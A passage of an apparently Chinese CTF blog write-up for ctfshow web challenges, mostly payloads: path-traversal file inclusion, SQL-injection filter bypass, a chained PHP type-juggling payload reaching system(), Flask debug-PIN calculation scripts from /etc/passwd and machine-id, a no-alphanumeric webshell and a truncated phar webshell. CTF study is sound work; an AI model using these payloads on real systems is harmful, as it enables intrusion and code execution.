src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-907\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>get:\/?file=shell.txt\npost:1=echo system(\"cat \/f*\");<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91ccecho\u7684\u539f\u56e0\u662f\u6267\u884c\u6210\u529f\u4e4b\u540e\u6ca1\u6709\u56de\u663e\uff0c\u6240\u4ee5\u770b\u770b\u6267\u884c\u6548\u679c<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web792<\/h2>\n\n\n\n<p>\u540c<a href=\"https:\/\/fushuling.com\/index.phphttps:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/28\/hbctf2017%e5%a4%a7%e7%be%8e%e8%a5%bf%e5%ae%89\/\">[HBCTF2017]\u5927\u7f8e\u897f\u5b89<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>image=-1 uniunionon seselectlect 0x666c61676973686572652e706870&amp;image_download=%E6%94%B6%E8%97%8F<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web795<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n    highlight_file(__FILE__);\n    class emmm\n    {\n        public static function checkFile(&amp;$page)\n        {\n            $whitelist = &#91;\"source\"=&gt;\"source.php\",\"hint\"=&gt;\"hint.php\"];\n            if (! isset($page) || !is_string($page)) {\n                echo \"you can't see it\";\n                return false;\n            }\n\n            if (in_array($page, $whitelist)) {\n                return true;\n            }\n\n            $_page = mb_substr(\n                $page,\n                0,\n                mb_strpos($page . '?', '?')\n            );\n            if (in_array($_page, $whitelist)) {\n                return true;\n            }\n\n            $_page = urldecode($page);\n            $_page = mb_substr(\n                $_page,\n                0,\n                mb_strpos($_page . '?', '?')\n            );\n            if (in_array($_page, $whitelist)) {\n                return true;\n            }\n            echo \"you can't see it\";\n            return false;\n        }\n    }\n\n    if (! empty($_REQUEST&#91;'file'])\n        &amp;&amp; is_string($_REQUEST&#91;'file'])\n        &amp;&amp; emmm::checkFile($_REQUEST&#91;'file'])\n    ) {\n        include $_REQUEST&#91;'file'];\n        exit;\n    } else {\n        echo \"&lt;br&gt;&lt;img src=\\\"https:\/\/i.loli.net\/2018\/11\/01\/5bdb0d93dc794.jpg\\\" \/&gt;\";\n    }  \n?&gt; <\/code><\/pre>\n\n\n\n<p>linux\u4e2dsource.php?\u53ef\u4ee5\u88ab\u5f53\u4f5c\u76ee\u5f55\uff0c\u7136\u540e\u76ee\u5f55\u7a7f\u8d8a\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=source.php?..\/..\/..\/..\/..\/..\/..\/ctfshowflag<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-92-1024x167.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"167\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-92-1024x167.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-914\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web800<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\nrequire_once('flag.php');\nerror_reporting(0);\n\n\nif(!isset($_GET&#91;'msg'])){\n    highlight_file(__FILE__);\n    die();\n}\n\n@$msg = $_GET&#91;'msg'];\nif(@file_get_contents($msg)!==\"Hello Challenge!\"){\n    die('Wow so rude!!!!1');\n}\n\necho \"Hello Hacker! Have a look around.\\n\";\n\n@$k1=$_GET&#91;'key1'];\n@$k2=$_GET&#91;'key2'];\n\n$cc = 1337;$bb = 42;\n\nif(intval($k1) !== $cc || $k1 === $cc){\n    die(\"lol no\\n\");\n}\n\nif(strlen($k2) == $bb){\n    if(preg_match('\/^\\d+\uff04\/', $k2) &amp;&amp; !is_numeric($k2)){\n        if($k2 == $cc){\n            @$cc = $_GET&#91;'cc'];\n        }\n    }\n}\n\nlist($k1,$k2) = &#91;$k2, $k1];\n\nif(substr($cc, $bb) === sha1($cc)){\n    foreach ($_GET as $lel =&gt; $hack){\n        $$lel = $hack;\n    }\n}\n\n$\u202eb = \"2\";$a=\"\u202eb\";\/\/;1=b\n\nif($$a !== $k1){\n    die(\"lel no\\n\");\n}\n\n\/\/ plz die now\nassert_options(ASSERT_BAIL, 1);\nassert(\"$bb == $cc\");\n\necho \"Good Job ;)\";\n\/\/ TODO\n\/\/ echo $flag; <\/code><\/pre>\n\n\n\n<p>\u6f2b\u957f\u7684\u4ee3\u7801\u5ba1\u8ba1\u5de5\u4f5c\uff0c\u4e00\u6bb5\u4e00\u6bb5\u7ed5\u5427\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>@$msg = $_GET&#91;'msg'];\nif(@file_get_contents($msg)!==\"Hello Challenge!\"){\n    die('Wow so rude!!!!1');\n}<\/code><\/pre>\n\n\n\n<p>data\u534f\u8bae\u6765\u7ed5\u8fc7\u5373\u53ef\uff0c\u5370\u8c61\u91cc\u505a\u5bd2\u5047\u8003\u6838\u65f6\u5c31\u9047\u5230\u8fc7\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msg=data:\/\/text\/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>if(intval($k1) !== $cc || $k1 === $cc){\n    die(\"lol no\\n\");\n}<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u8fd9\u91cc\u662f&#8221;===&#8221;\uff0c\u662f\u5f3a\u6bd4\u8f83\uff0c\u6240\u4ee5\u7528key1=1337a\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if(strlen($k2) == $bb){\n    if(preg_match('\/^\\d+\uff04\/', $k2) &amp;&amp; !is_numeric($k2)){\n        if($k2 == $cc){\n            @$cc = $_GET&#91;'cc'];\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u8981\u957f\u5ea6\u4e3a42\u4e14\u4e0d\u662f\u6570\u5b57\uff0c\u800c\u4e14\u8fd8\u8981\u4ee5\u6570\u5b57+\uff04\u5f00\u5934\uff0c\u6700\u540e\u6ee1\u8db3$k2 == $cc\u3002\u5f801337\u524d\u52a00\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>key2=000000000000000000000000000000000001337\uff04<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>if(substr($cc, $bb) === sha1($cc)){\n    foreach ($_GET as $lel =&gt; $hack){\n        $$lel = $hack;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u79cd\u4e00\u773c\u770b\u4e0a\u53bb\u4e0d\u80fd\u6ee1\u8db3\u7684\u5e94\u8be5\u7acb\u523b\u8054\u60f3\u5230\u8ba9\u4ed6\u4eec\u4e3a\u7a7a\u6216\u8005\u62a5\u9519<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cc&#91;]=1<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$\u202eb = \"2\";$a=\"\u202eb\";\/\/;1=b<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u6574\u8499\u4e86\uff0c\u4f60\u4eec\u53ef\u4ee5\u81ea\u5df1\u4e0b\u53bb\u8bd5\u8bd5\uff0c\u4e0d\u8fc7\u6211\u4eec\u53ef\u4ee5\u627e\u4e2a\u5728\u7ebf\u5e73\u53f0\u770b\u770b\u5b83\u5230\u5e95\u662f\u5e72\u5565\u7684\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if($$a !== $k1){\n    die(\"lel no\\n\");\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-90-1024x126.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"126\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-90-1024x126.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-909\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5$$a=2\uff0c\u6240\u4ee5$k1=2(\u8fd9\u5c31\u662f\u5927\u5de7\u4e0d\u5de5\uff01)<\/p>\n\n\n\n<p>\u6700\u540e\u4e00\u6bb5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>assert_options(ASSERT_BAIL, 1);\nassert(\"$bb == $cc\");\n\necho \"Good Job ;)\";<\/code><\/pre>\n\n\n\n<p>\u8986\u76d6\u6389bb\u5373\u53ef\u4efb\u610f\u4ee3\u7801\u6267\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bb=system(\"cat *\");\/\/<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u7684payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?msg=data:\/\/text\/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&amp;key1=1337a&amp;key2=000000000000000000000000000000000001337%EF%BC%84&amp;cc&#91;]=&amp;a=k1&amp;bb=system(\"cat *\");\/\/&amp;k1=2<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-91-1024x188.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"188\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-91-1024x188.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-910\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>Just a piece of cake!<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7\u5e38\u7528\u59ff\u52bf<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web801<\/h2>\n\n\n\n<p>\u8fd9\u4e2a\u9898\u7684\u59ff\u52bf\u5c31\u662f\u7b97pin\u7801<\/p>\n\n\n\n<p>pin\u7801\u662fflask\u5728\u5f00\u542fdebug\u6a21\u5f0f\u4e0b\uff0c\u8fdb\u884c\u4ee3\u7801\u8c03\u8bd5\u6a21\u5f0f\u6240\u9700\u7684\u8fdb\u5165\u5bc6\u7801\uff0c\u9700\u8981\u6b63\u786e\u7684PIN\u7801\u624d\u80fd\u8fdb\u5165\u8c03\u8bd5\u6a21\u5f0f,\u53ef\u4ee5\u7406\u89e3\u4e3a\u81ea\u5e26\u7684webshell\u3002<\/p>\n\n\n\n<p>\u516d\u8981\u7d20\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>username \u901a\u8fc7getpass.getuser()\u8bfb\u53d6\uff0c\u901a\u8fc7\u6587\u4ef6\u8bfb\u53d6\/etc\/passwd\uff0c\u4e00\u822c\u662froot<\/li>\n\n\n\n<li>modname \u901a\u8fc7getattr(mod,\u201cfile\u201d,None)\u8bfb\u53d6\uff0c\u9ed8\u8ba4\u503c\u4e3aflask.app<\/li>\n\n\n\n<li>appname \u901a\u8fc7getattr(app,\u201cname\u201d,type(app).name)\u8bfb\u53d6\uff0c\u9ed8\u8ba4\u503c\u4e3aFlask<\/li>\n\n\n\n<li>moddir \u5f53\u524d\u7f51\u7edc\u7684mac\u5730\u5740\u7684\u5341\u8fdb\u5236\u6570\uff0c\u901a\u8fc7getattr(mod,\u201cfile\u201d,None)\u8bfb\u53d6\u5b9e\u9645\u5e94\u7528\u4e2d\u901a\u8fc7\u62a5\u9519\u8bfb\u53d6<\/li>\n\n\n\n<li>uuidnode \u901a\u8fc7uuid.getnode()\u8bfb\u53d6\uff0c\u901a\u8fc7\u6587\u4ef6\/sys\/class\/net\/eth0\/address\u5f97\u523016\u8fdb\u5236\u7ed3\u679c\uff0c\u8f6c\u5316\u4e3a10\u8fdb\u5236\u8fdb\u884c\u8ba1\u7b97<\/li>\n\n\n\n<li>machine_id \u6bcf\u4e00\u4e2a\u673a\u5668\u90fd\u4f1a\u6709\u81ea\u5df2\u552f\u4e00\u7684id\uff0clinux\u7684id\u4e00\u822c\u5b58\u653e\u5728\/etc\/machine-id\u6216\/proc\/sys\/kernel\/random\/boot_id\uff0cdocker\u9776\u673a\u5219\u8bfb\u53d6\/proc\/self\/cgroup\uff0c\u5176\u4e2d\u7b2c\u4e00\u884c\u7684\/docker\/\u5b57\u7b26\u4e32\u540e\u9762\u7684\u5185\u5bb9\u4f5c\u4e3a\u673a\u5668\u7684id\uff0c\u5728docker\u73af\u5883\u4e0b\u8bfb\u53d6\u540e\u4e24\u4e2a\uff0c\u975edocker\u73af\u5883\u4e09\u4e2a\u90fd\u9700\u8981\u8bfb\u53d6<\/li>\n<\/ul>\n\n\n\n<p>\u65e7\u7248\u7684\u7b97\u6cd5(3.6)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#MD5\nimport hashlib\nfrom itertools import chain\nprobably_public_bits = &#91;\n     'flaskweb'# username\n     'flask.app',# modname\n     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))\n     '\/usr\/local\/lib\/python3.7\/site-packages\/flask\/app.py' # getattr(mod, '__file__', None),\n]\n\nprivate_bits = &#91;\n     '25214234362297',# str(uuid.getnode()),  \/sys\/class\/net\/ens33\/address\n     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), \/etc\/machine-id\n]\n\nh = hashlib.md5()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n\ncookie_name = '__wzd' + h.hexdigest()&#91;:20]\n\nnum = None\nif num is None:\n   h.update(b'pinsalt')\n   num = ('%09d' % int(h.hexdigest(), 16))&#91;:9]\n\nrv =None\nif rv is None:\n   for group_size in 5, 4, 3:\n       if len(num) % group_size == 0:\n          rv = '-'.join(num&#91;x:x + group_size].rjust(group_size, '0')\n                      for x in range(0, len(num), group_size))\n          break\n       else:\n          rv = num\n\nprint(rv)\n<\/code><\/pre>\n\n\n\n<p>\u65b0\u7248\u7684\u7b97\u6cd5\uff1a(3.8)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#sha1\nimport hashlib\nfrom itertools import chain\nprobably_public_bits = &#91;\n    'root'# \/etc\/passwd\n    'flask.app',# \u9ed8\u8ba4\u503c\n    'Flask',# \u9ed8\u8ba4\u503c\n    '\/usr\/local\/lib\/python3.8\/site-packages\/flask\/app.py' # \u62a5\u9519\u5f97\u5230\n]\n\nprivate_bits = &#91;\n    '2485377581187',#  \/sys\/class\/net\/eth0\/address 16\u8fdb\u5236\u8f6c10\u8fdb\u5236\n    #machine_id\u7531\u4e09\u4e2a\u5408\u5e76(docker\u5c31\u540e\u4e24\u4e2a)\uff1a1.\/etc\/machine-id 2.\/proc\/sys\/kernel\/random\/boot_id 3.\/proc\/self\/cgroup\n    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'\n]\n\nh = hashlib.sha1()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n\ncookie_name = '__wzd' + h.hexdigest()&#91;:20]\n\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))&#91;:9]\n\nrv =None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num&#91;x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n    else:\n        rv = num\n\nprint(rv)\n<\/code><\/pre>\n\n\n\n<p>\u62a5\u9519\u5f97\u5230\u8def\u5f84\uff1a\/usr\/local\/lib\/python3.8\/site-packages\/flask\/app.py\uff0c\u5e76\u4e14\u77e5\u9053\u4e86\u8fd9\u662f3.8\uff0c\u8981\u75283.8\u7684\u811a\u672c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-77.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"862\" height=\"238\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-77.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1909\"  sizes=\"auto, (max-width: 862px) 100vw, 862px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u6309\u7167\u987a\u5e8f\u4e00\u4e2a\u4e00\u4e2a\u62ff\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u8bfb\/etc\/passwd\u62ff\u5230\u7528\u6237\u540droot<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-79-1024x349.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"349\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-79-1024x349.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1911\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>modname\u9ed8\u8ba4\u503c\u4e3aflask.app\uff0cappname\u9ed8\u8ba4\u503c\u4e3aFlask<\/p>\n\n\n\n<p>\u8bfb\/sys\/class\/net\/eth0\/address\u5f97\u5230uuidnode\uff1a02:42:ac:0c:0b:42\uff0c\u628a\u5b83\u770b\u62100x0242ac0c0b42\u8f6c\u5316\u5341\u8fdb\u5236\u5f97\u52302485377567554<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-78-1024x222.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"222\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-78-1024x222.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1910\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u8bfb\u53d6\/proc\/sys\/kernel\/random\/boot_id\u548c\/proc\/self\/cgroup\u62fc\u63a5\u8d77\u6765\u5f97\u5230machine_id\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>d1b2665b-a5c7-4542-af02-960390811e5ba245d3eb571602d0e8005d5cc2c7d3cd04e09ae4154e7bad0c9ba40f88abd4f8<\/code><\/pre>\n\n\n\n<p>\u5e26\u51653.8\u7684\u811a\u672c\u8ba1\u7b97pin\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-80.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"943\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-80.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1912\"  sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/div><\/figure>\n\n\n\n<p>\u5f97\u5230134-919-743\uff0c\u8bbf\u95ee\/console\uff0c\u8f93\u5165pin\u7801\uff0c\u5373\u53ef\u6267\u884c\u4ee3\u7801\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import os\nos.popen('cat \/*f*').read()<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-81-1024x433.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"433\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-81-1024x433.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1913\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web802<\/h2>\n\n\n\n<p>\u6700\u57fa\u7840\u7684\u65e0\u5b57\u6bcd\u6570\u5b57getshell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd=$_=(_\/_._)&#91;_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_&#91;_]($$_&#91;%FA]);&amp;_=system&amp;%FA=cat f*<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-12-1024x528.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"528\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-12-1024x528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1973\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web803<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nhighlight_file(__FILE__);\n$file = $_POST&#91;'file'];\n$content = $_POST&#91;'content'];\n\nif(isset($content) &amp;&amp; !preg_match('\/php|data|ftp\/i',$file)){\n    if(file_exists($file.'.txt')){\n        include $file.'.txt';\n    }else{\n        file_put_contents($file,$content);\n    }\n}<\/code><\/pre>\n\n\n\n<p>phar\u6587\u4ef6\u5305\u542b\uff0c\u5373\u4f7f\u662f\u538b\u7f29\u540e\u8fd8\u662f\u53ef\u4ee5\u7528phar\u534f\u8bae\u6267\u884cphp\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php \n$phar = new Phar(\"shell.phar\");\n$phar-&gt;startBuffering();\n$phar -&gt; setStub('GIF89a'.'&lt;?php __HALT_COMPILER();?&gt;');\n$phar-&gt;addFromString(\"a.txt\", \"&lt;?php 